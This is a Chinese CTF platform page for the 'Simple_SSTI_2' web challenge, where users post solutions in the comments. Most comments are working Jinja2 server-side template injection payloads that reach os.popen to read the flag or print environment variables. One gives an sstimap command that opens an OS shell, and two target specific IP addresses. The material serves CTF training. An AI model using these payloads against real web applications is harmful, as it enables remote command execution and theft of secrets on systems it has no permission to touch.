Simple_SSTI_2WEB 未解决

分数: 10 金币: 3
题目作者: valecalida
一  血: Tokeii
一血奖励: 3金币
解  决: 16396
提  示:
描  述:
Simple_SSTI_2
评论
网恋秀牛子被录屏导致自卑 1月前

/?flag={{(OvO.__eq__.__globals__.sys.modules.os.popen('cat flag')).read()}}

回复 0

liutong27 5月前

python3 sstimap.py -u http://117.72.52.127:12369/?flag=1 --os-shell

回复 1

wywitkey 8月前

前面说的都对,这道题在ssti里比较简单,推荐使用sstimap,可以一把梭,直接出os-shell

回复 0

HK1ng 10月前

详解:https://blog.csdn.net/m0_59527104/article/details/147013776

回复 4

smtall 10月前

flag={{ self.__init__.__globals__.__builtins__.__import__('os').popen('cat flag').read() }}

回复 0

hao7 1年前

?flag={%for(x)in().__class__.__base__.__subclasses__()%}{%if'war'in(x).__name__ %}{{x()._module.__builtins__['__import__']('os').popen('cat flag').read()}}{%endif%}{%endfor%}

回复 1

超爱西西鸭 1年前

/?flag={{config.__class__.__init__.__globals__[%27os%27].popen(%27cat%20../app/flag%27).read()}}

回复 1

pettter 1年前

?id={{config.__class__.__init__.__globals__['os'].popen('printenv').read()}}

回复 1

不会写代码的菜鸟 1年前

大佬们,为啥不能直接flag={{os.popen('cat ../app/flag').read()}}还需要加上那么多前缀

回复 1
qingchuan 1年前

因为没有import os,os是未定义的

回复 5

q1152874733 1年前

http://114.67.175.224:11052/?flag={{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('cat flag').read()")}}

回复 1

WriteUp

image
valecalida

5 金币

评分(15)

解题动态

一只小白鲸 攻破了该题 1天前
Wu. 攻破了该题 3天前
tiger1cyd 攻破了该题 3天前
qq1002517 攻破了该题 4天前
乱来小木 攻破了该题 4天前
yttitan 攻破了该题 5天前
hdcc1 攻破了该题 5天前
WYYYYTT 攻破了该题 9天前
有点易斯但不多 攻破了该题 10天前
1907104474 攻破了该题 10天前
xiaoxiaojiangshi 攻破了该题 11天前
scv 攻破了该题 11天前
flag大王 攻破了该题 12天前
藏在云层里的羊 攻破了该题 13天前
xyqsin 攻破了该题 14天前
一定要做这些吗 攻破了该题 17天前
爱意藏入虚空 攻破了该题 17天前
chenzhong 攻破了该题 19天前
kiritoldws 攻破了该题 20天前
evilk 攻破了该题 20天前
问题反馈